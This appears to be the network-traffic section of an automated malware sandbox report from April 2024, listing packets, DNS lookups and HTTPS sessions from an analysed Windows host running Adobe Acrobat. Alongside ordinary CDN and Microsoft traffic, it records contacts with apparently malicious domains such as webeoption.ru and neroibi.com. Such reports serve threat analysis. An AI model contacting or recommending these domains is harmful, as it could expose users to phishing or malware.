Apr 19, 2024 16:56:22.029781103 CEST	49757	443	192.168.2.5	103.153.183.146
Apr 19, 2024 16:56:22.030421019 CEST	443	49757	103.153.183.146	192.168.2.5
Apr 19, 2024 16:56:22.030481100 CEST	49757	443	192.168.2.5	103.153.183.146
Apr 19, 2024 16:56:22.030652046 CEST	443	49757	103.153.183.146	192.168.2.5
Apr 19, 2024 16:56:22.030725956 CEST	49757	443	192.168.2.5	103.153.183.146
Apr 19, 2024 16:56:22.030966043 CEST	443	49757	103.153.183.146	192.168.2.5
Apr 19, 2024 16:56:22.031033993 CEST	49757	443	192.168.2.5	103.153.183.146
Apr 19, 2024 16:56:22.032413960 CEST	443	49757	103.153.183.146	192.168.2.5
Apr 19, 2024 16:56:22.032484055 CEST	49757	443	192.168.2.5	103.153.183.146
Apr 19, 2024 16:56:22.032687902 CEST	443	49757	103.153.183.146	192.168.2.5
Apr 19, 2024 16:56:22.032795906 CEST	49757	443	192.168.2.5	103.153.183.146
Apr 19, 2024 16:56:22.034085035 CEST	443	49757	103.153.183.146	192.168.2.5
Apr 19, 2024 16:56:22.034156084 CEST	49757	443	192.168.2.5	103.153.183.146
Apr 19, 2024 16:56:22.034171104 CEST	443	49757	103.153.183.146	192.168.2.5
Apr 19, 2024 16:56:22.034194946 CEST	443	49757	103.153.183.146	192.168.2.5
Apr 19, 2024 16:56:22.034225941 CEST	49757	443	192.168.2.5	103.153.183.146
Apr 19, 2024 16:56:22.034248114 CEST	49757	443	192.168.2.5	103.153.183.146
Apr 19, 2024 16:56:22.034411907 CEST	49757	443	192.168.2.5	103.153.183.146
Apr 19, 2024 16:56:22.034441948 CEST	443	49757	103.153.183.146	192.168.2.5
Apr 19, 2024 16:56:26.972868919 CEST	443	49718	23.1.237.91	192.168.2.5
Apr 19, 2024 16:56:26.973577976 CEST	49718	443	192.168.2.5	23.1.237.91
Apr 19, 2024 16:56:30.698751926 CEST	443	49759	108.177.122.104	192.168.2.5
Apr 19, 2024 16:56:30.698923111 CEST	443	49759	108.177.122.104	192.168.2.5
Apr 19, 2024 16:56:30.699039936 CEST	49759	443	192.168.2.5	108.177.122.104
Apr 19, 2024 16:56:32.256012917 CEST	49759	443	192.168.2.5	108.177.122.104
Apr 19, 2024 16:56:32.256078959 CEST	443	49759	108.177.122.104	192.168.2.5
Apr 19, 2024 16:56:36.941211939 CEST	49718	443	192.168.2.5	23.1.237.91
Apr 19, 2024 16:56:36.941251993 CEST	443	49718	23.1.237.91	192.168.2.5
Apr 19, 2024 16:56:36.941306114 CEST	49718	443	192.168.2.5	23.1.237.91
Apr 19, 2024 16:56:36.941312075 CEST	443	49718	23.1.237.91	192.168.2.5
Apr 19, 2024 16:56:36.941714048 CEST	49767	443	192.168.2.5	23.1.237.91
Apr 19, 2024 16:56:36.941771030 CEST	443	49767	23.1.237.91	192.168.2.5
Apr 19, 2024 16:56:36.941854000 CEST	49767	443	192.168.2.5	23.1.237.91
Apr 19, 2024 16:56:36.941930056 CEST	49767	443	192.168.2.5	23.1.237.91
Apr 19, 2024 16:56:36.942002058 CEST	443	49767	23.1.237.91	192.168.2.5
Apr 19, 2024 16:56:36.942055941 CEST	49767	443	192.168.2.5	23.1.237.91
Apr 19, 2024 16:56:45.292756081 CEST	49768	443	192.168.2.5	40.127.169.103
Apr 19, 2024 16:56:45.292836905 CEST	443	49768	40.127.169.103	192.168.2.5
Apr 19, 2024 16:56:45.292973995 CEST	49768	443	192.168.2.5	40.127.169.103
Apr 19, 2024 16:56:45.293477058 CEST	49768	443	192.168.2.5	40.127.169.103
Apr 19, 2024 16:56:45.293517113 CEST	443	49768	40.127.169.103	192.168.2.5
Apr 19, 2024 16:56:45.891400099 CEST	443	49768	40.127.169.103	192.168.2.5
Apr 19, 2024 16:56:45.891541004 CEST	49768	443	192.168.2.5	40.127.169.103
Apr 19, 2024 16:56:45.893688917 CEST	49768	443	192.168.2.5	40.127.169.103
Apr 19, 2024 16:56:45.893716097 CEST	443	49768	40.127.169.103	192.168.2.5
Apr 19, 2024 16:56:45.894057035 CEST	443	49768	40.127.169.103	192.168.2.5
Apr 19, 2024 16:56:45.898920059 CEST	49768	443	192.168.2.5	40.127.169.103
Apr 19, 2024 16:56:45.940160990 CEST	443	49768	40.127.169.103	192.168.2.5
Apr 19, 2024 16:56:46.473303080 CEST	443	49768	40.127.169.103	192.168.2.5
Apr 19, 2024 16:56:46.473337889 CEST	443	49768	40.127.169.103	192.168.2.5
Apr 19, 2024 16:56:46.473431110 CEST	443	49768	40.127.169.103	192.168.2.5
Apr 19, 2024 16:56:46.473654985 CEST	49768	443	192.168.2.5	40.127.169.103
Apr 19, 2024 16:56:46.473654985 CEST	49768	443	192.168.2.5	40.127.169.103
Apr 19, 2024 16:56:46.473721981 CEST	443	49768	40.127.169.103	192.168.2.5
Apr 19, 2024 16:56:46.473758936 CEST	443	49768	40.127.169.103	192.168.2.5
Apr 19, 2024 16:56:46.473833084 CEST	49768	443	192.168.2.5	40.127.169.103
Apr 19, 2024 16:56:46.476965904 CEST	49768	443	192.168.2.5	40.127.169.103
Apr 19, 2024 16:56:46.476999044 CEST	443	49768	40.127.169.103	192.168.2.5
Apr 19, 2024 16:56:46.477025032 CEST	49768	443	192.168.2.5	40.127.169.103
Apr 19, 2024 16:56:46.477040052 CEST	443	49768	40.127.169.103	192.168.2.5
Apr 19, 2024 16:57:18.156445980 CEST	49771	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:18.156548023 CEST	443	49771	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.156877041 CEST	49771	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:18.157553911 CEST	49771	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:18.157608986 CEST	443	49771	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.375819921 CEST	443	49771	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.376496077 CEST	49771	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:18.376547098 CEST	443	49771	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.377269983 CEST	443	49771	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.378110886 CEST	49771	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:18.378218889 CEST	443	49771	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.378422022 CEST	49771	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:18.424190044 CEST	443	49771	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.616921902 CEST	443	49771	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.617114067 CEST	443	49771	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.617410898 CEST	49771	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:18.618000984 CEST	49771	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:18.618040085 CEST	443	49771	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.619457006 CEST	49772	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:18.619502068 CEST	443	49772	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.619616985 CEST	49772	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:18.620277882 CEST	49772	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:18.620295048 CEST	443	49772	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.840591908 CEST	443	49772	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.841025114 CEST	49772	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:18.841080904 CEST	443	49772	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.842566967 CEST	443	49772	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.843703985 CEST	49772	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:18.844041109 CEST	443	49772	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:18.844139099 CEST	49772	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:18.887706041 CEST	49772	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:18.887732983 CEST	443	49772	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:19.079070091 CEST	443	49772	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:19.079159021 CEST	443	49772	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:19.079483032 CEST	49772	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:19.079880953 CEST	49772	443	192.168.2.5	35.190.80.1
Apr 19, 2024 16:57:19.079921961 CEST	443	49772	35.190.80.1	192.168.2.5
Apr 19, 2024 16:57:20.421009064 CEST	49773	443	192.168.2.5	108.177.122.104
Apr 19, 2024 16:57:20.421073914 CEST	443	49773	108.177.122.104	192.168.2.5
Apr 19, 2024 16:57:20.421197891 CEST	49773	443	192.168.2.5	108.177.122.104
Apr 19, 2024 16:57:20.421539068 CEST	49773	443	192.168.2.5	108.177.122.104
Apr 19, 2024 16:57:20.421572924 CEST	443	49773	108.177.122.104	192.168.2.5
Apr 19, 2024 16:57:20.643160105 CEST	443	49773	108.177.122.104	192.168.2.5
Apr 19, 2024 16:57:20.643732071 CEST	49773	443	192.168.2.5	108.177.122.104
Apr 19, 2024 16:57:20.643790007 CEST	443	49773	108.177.122.104	192.168.2.5
Apr 19, 2024 16:57:20.645201921 CEST	443	49773	108.177.122.104	192.168.2.5
Apr 19, 2024 16:57:20.645880938 CEST	49773	443	192.168.2.5	108.177.122.104
Apr 19, 2024 16:57:20.646086931 CEST	443	49773	108.177.122.104	192.168.2.5
Apr 19, 2024 16:57:20.700215101 CEST	49773	443	192.168.2.5	108.177.122.104
Apr 19, 2024 16:57:30.686794996 CEST	443	49773	108.177.122.104	192.168.2.5
Apr 19, 2024 16:57:30.686981916 CEST	443	49773	108.177.122.104	192.168.2.5
Apr 19, 2024 16:57:30.687247992 CEST	49773	443	192.168.2.5	108.177.122.104
Apr 19, 2024 16:57:32.301795006 CEST	49773	443	192.168.2.5	108.177.122.104
Apr 19, 2024 16:57:32.301840067 CEST	443	49773	108.177.122.104	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 16:56:15.700063944 CEST	51972	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:15.700210094 CEST	51868	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:15.805356979 CEST	53	58417	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:15.809046030 CEST	53	51868	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:15.818276882 CEST	53	52303	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:15.843944073 CEST	53	51972	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:16.464421034 CEST	53	59937	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:16.486284971 CEST	58410	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:16.486701965 CEST	57576	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:16.801023006 CEST	53	57576	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:16.930741072 CEST	53	58410	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:17.550476074 CEST	51129	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:17.550687075 CEST	64339	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:17.551193953 CEST	57761	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:17.551414967 CEST	59443	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:17.552427053 CEST	56061	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:17.552628040 CEST	51122	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:17.655105114 CEST	53	54907	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:17.655141115 CEST	53	51129	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:17.655395985 CEST	53	64339	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:17.656078100 CEST	53	56537	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:17.656820059 CEST	53	59443	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:17.657589912 CEST	53	57761	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:18.154656887 CEST	54492	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:18.155142069 CEST	51167	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:18.239964962 CEST	53	58578	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:18.259283066 CEST	53	54492	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:18.259696007 CEST	53	51167	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:18.423676968 CEST	53234	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:18.424333096 CEST	50283	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:18.526037931 CEST	61588	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:18.526324987 CEST	53943	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:18.527936935 CEST	54012	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:18.528287888 CEST	63306	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:18.532346964 CEST	53	53234	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:18.532917023 CEST	51371	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:18.533083916 CEST	63052	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:18.554183006 CEST	53	50283	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:18.630712986 CEST	53	61588	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:18.631227970 CEST	53	53943	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:18.632836103 CEST	53	54012	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:18.633610010 CEST	53	63306	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:18.637505054 CEST	53	51371	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:18.637753010 CEST	53	63052	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:19.172940016 CEST	53	53841	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:19.223799944 CEST	57126	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:19.224041939 CEST	56433	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:19.253875017 CEST	53	52526	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:19.331573009 CEST	53	57126	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:19.337637901 CEST	53	56433	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:19.715682983 CEST	53	59632	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:20.363601923 CEST	59857	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:20.363688946 CEST	52820	53	192.168.2.5	1.1.1.1
Apr 19, 2024 16:56:20.468556881 CEST	53	59857	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:20.469544888 CEST	53	52820	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:20.985236883 CEST	53	50965	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:33.390710115 CEST	53	49701	1.1.1.1	192.168.2.5
Apr 19, 2024 16:56:52.260050058 CEST	53	55060	1.1.1.1	192.168.2.5
Apr 19, 2024 16:57:14.667309999 CEST	53	51508	1.1.1.1	192.168.2.5
Apr 19, 2024 16:57:15.782531977 CEST	53	50553	1.1.1.1	192.168.2.5
Apr 19, 2024 16:57:43.744004965 CEST	53	51533	1.1.1.1	192.168.2.5
Apr 19, 2024 16:58:30.447362900 CEST	53	53215	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 19, 2024 16:56:15.700063944 CEST	192.168.2.5	1.1.1.1	0x17bc	Standard query (0)	3245.tarafhaber.net	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:15.700210094 CEST	192.168.2.5	1.1.1.1	0x89e	Standard query (0)	3245.tarafhaber.net	65	IN (0x0001)	false
Apr 19, 2024 16:56:16.486284971 CEST	192.168.2.5	1.1.1.1	0x3023	Standard query (0)	webeoption.ru	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:16.486701965 CEST	192.168.2.5	1.1.1.1	0x459b	Standard query (0)	webeoption.ru	65	IN (0x0001)	false
Apr 19, 2024 16:56:17.550476074 CEST	192.168.2.5	1.1.1.1	0x22f4	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:17.550687075 CEST	192.168.2.5	1.1.1.1	0x698	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 19, 2024 16:56:17.551193953 CEST	192.168.2.5	1.1.1.1	0x8490	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:17.551414967 CEST	192.168.2.5	1.1.1.1	0xac5e	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Apr 19, 2024 16:56:17.552427053 CEST	192.168.2.5	1.1.1.1	0x2cd8	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:17.552628040 CEST	192.168.2.5	1.1.1.1	0x31da	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Apr 19, 2024 16:56:18.154656887 CEST	192.168.2.5	1.1.1.1	0xb9d9	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.155142069 CEST	192.168.2.5	1.1.1.1	0xae84	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 19, 2024 16:56:18.423676968 CEST	192.168.2.5	1.1.1.1	0x9033	Standard query (0)	neroibi.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.424333096 CEST	192.168.2.5	1.1.1.1	0x150d	Standard query (0)	neroibi.com	65	IN (0x0001)	false
Apr 19, 2024 16:56:18.526037931 CEST	192.168.2.5	1.1.1.1	0xe4ac	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.526324987 CEST	192.168.2.5	1.1.1.1	0x59e0	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 19, 2024 16:56:18.527936935 CEST	192.168.2.5	1.1.1.1	0x1f13	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.528287888 CEST	192.168.2.5	1.1.1.1	0xdf5a	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Apr 19, 2024 16:56:18.532917023 CEST	192.168.2.5	1.1.1.1	0x6f1	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.533083916 CEST	192.168.2.5	1.1.1.1	0x995c	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Apr 19, 2024 16:56:19.223799944 CEST	192.168.2.5	1.1.1.1	0xb839	Standard query (0)	neroibi.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:19.224041939 CEST	192.168.2.5	1.1.1.1	0x89ad	Standard query (0)	neroibi.com	65	IN (0x0001)	false
Apr 19, 2024 16:56:20.363601923 CEST	192.168.2.5	1.1.1.1	0xb93e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:20.363688946 CEST	192.168.2.5	1.1.1.1	0x2909	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 19, 2024 16:56:15.809046030 CEST	1.1.1.1	192.168.2.5	0x89e	No error (0)	3245.tarafhaber.net			65	IN (0x0001)	false
Apr 19, 2024 16:56:15.843944073 CEST	1.1.1.1	192.168.2.5	0x17bc	No error (0)	3245.tarafhaber.net		172.67.134.189	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:15.843944073 CEST	1.1.1.1	192.168.2.5	0x17bc	No error (0)	3245.tarafhaber.net		104.21.6.108	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:16.801023006 CEST	1.1.1.1	192.168.2.5	0x459b	No error (0)	webeoption.ru			65	IN (0x0001)	false
Apr 19, 2024 16:56:16.930741072 CEST	1.1.1.1	192.168.2.5	0x3023	No error (0)	webeoption.ru		104.21.59.166	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:16.930741072 CEST	1.1.1.1	192.168.2.5	0x3023	No error (0)	webeoption.ru		172.67.181.87	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:17.655141115 CEST	1.1.1.1	192.168.2.5	0x22f4	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:17.655141115 CEST	1.1.1.1	192.168.2.5	0x22f4	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:17.655141115 CEST	1.1.1.1	192.168.2.5	0x22f4	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:17.655141115 CEST	1.1.1.1	192.168.2.5	0x22f4	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:17.656820059 CEST	1.1.1.1	192.168.2.5	0xac5e	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Apr 19, 2024 16:56:17.657135010 CEST	1.1.1.1	192.168.2.5	0x31da	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 16:56:17.657370090 CEST	1.1.1.1	192.168.2.5	0x2cd8	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 19, 2024 16:56:17.657589912 CEST	1.1.1.1	192.168.2.5	0x8490	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:17.657589912 CEST	1.1.1.1	192.168.2.5	0x8490	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.259283066 CEST	1.1.1.1	192.168.2.5	0xb9d9	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.532346964 CEST	1.1.1.1	192.168.2.5	0x9033	No error (0)	neroibi.com		103.153.183.146	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.630712986 CEST	1.1.1.1	192.168.2.5	0xe4ac	No error (0)	www.google.com		64.233.177.99	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.630712986 CEST	1.1.1.1	192.168.2.5	0xe4ac	No error (0)	www.google.com		64.233.177.147	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.630712986 CEST	1.1.1.1	192.168.2.5	0xe4ac	No error (0)	www.google.com		64.233.177.104	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.630712986 CEST	1.1.1.1	192.168.2.5	0xe4ac	No error (0)	www.google.com		64.233.177.105	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.630712986 CEST	1.1.1.1	192.168.2.5	0xe4ac	No error (0)	www.google.com		64.233.177.103	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.630712986 CEST	1.1.1.1	192.168.2.5	0xe4ac	No error (0)	www.google.com		64.233.177.106	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.631227970 CEST	1.1.1.1	192.168.2.5	0x59e0	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 19, 2024 16:56:18.632836103 CEST	1.1.1.1	192.168.2.5	0x1f13	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.632836103 CEST	1.1.1.1	192.168.2.5	0x1f13	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.633610010 CEST	1.1.1.1	192.168.2.5	0xdf5a	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Apr 19, 2024 16:56:18.637505054 CEST	1.1.1.1	192.168.2.5	0x6f1	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.637505054 CEST	1.1.1.1	192.168.2.5	0x6f1	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:18.637753010 CEST	1.1.1.1	192.168.2.5	0x995c	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Apr 19, 2024 16:56:19.331573009 CEST	1.1.1.1	192.168.2.5	0xb839	No error (0)	neroibi.com		103.153.183.146	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:20.468556881 CEST	1.1.1.1	192.168.2.5	0xb93e	No error (0)	www.google.com		108.177.122.104	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:20.468556881 CEST	1.1.1.1	192.168.2.5	0xb93e	No error (0)	www.google.com		108.177.122.147	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:20.468556881 CEST	1.1.1.1	192.168.2.5	0xb93e	No error (0)	www.google.com		108.177.122.106	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:20.468556881 CEST	1.1.1.1	192.168.2.5	0xb93e	No error (0)	www.google.com		108.177.122.99	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:20.468556881 CEST	1.1.1.1	192.168.2.5	0xb93e	No error (0)	www.google.com		108.177.122.103	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:20.468556881 CEST	1.1.1.1	192.168.2.5	0xb93e	No error (0)	www.google.com		108.177.122.105	A (IP address)	IN (0x0001)	false
Apr 19, 2024 16:56:20.469544888 CEST	1.1.1.1	192.168.2.5	0x2909	No error (0)	www.google.com			65	IN (0x0001)	false

HTTP Request Dependency Graph

fs.microsoft.com

armmf.adobe.com

slscr.update.microsoft.com

3245.tarafhaber.net

https:

webeoption.ru

code.jquery.com

maxcdn.bootstrapcdn.com

stackpath.bootstrapcdn.com

cdnjs.cloudflare.com

www.google.com

neroibi.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49711	184.31.62.93	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:55:56 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-19 14:55:56 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/079C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=144445 Date: Fri, 19 Apr 2024 14:55:56 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	184.31.62.93	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:55:56 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-19 14:55:56 UTC	805	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0778) X-CID: 11 X-CCC: US X-Azure-Ref-OriginShield: Ref A: 52EA27DBDE0C4533B819423583F6692E Ref B: CH1AA2040902052 Ref C: 2023-07-09T23:10:08Z X-MSEdge-Ref: Ref A: 528BB8D443C042AA9AEA4EC3F75C7762 Ref B: CHI30EDGE0111 Ref C: 2023-07-09T23:11:11Z Content-Type: application/octet-stream X-Azure-Ref: 01uvbYwAAAACkqWtaEMjWQL/4cpisZkorTUVNMzBFREdFMDgxMQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=144466 Date: Fri, 19 Apr 2024 14:55:56 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-19 14:55:56 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	184.25.164.138	443	7244	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
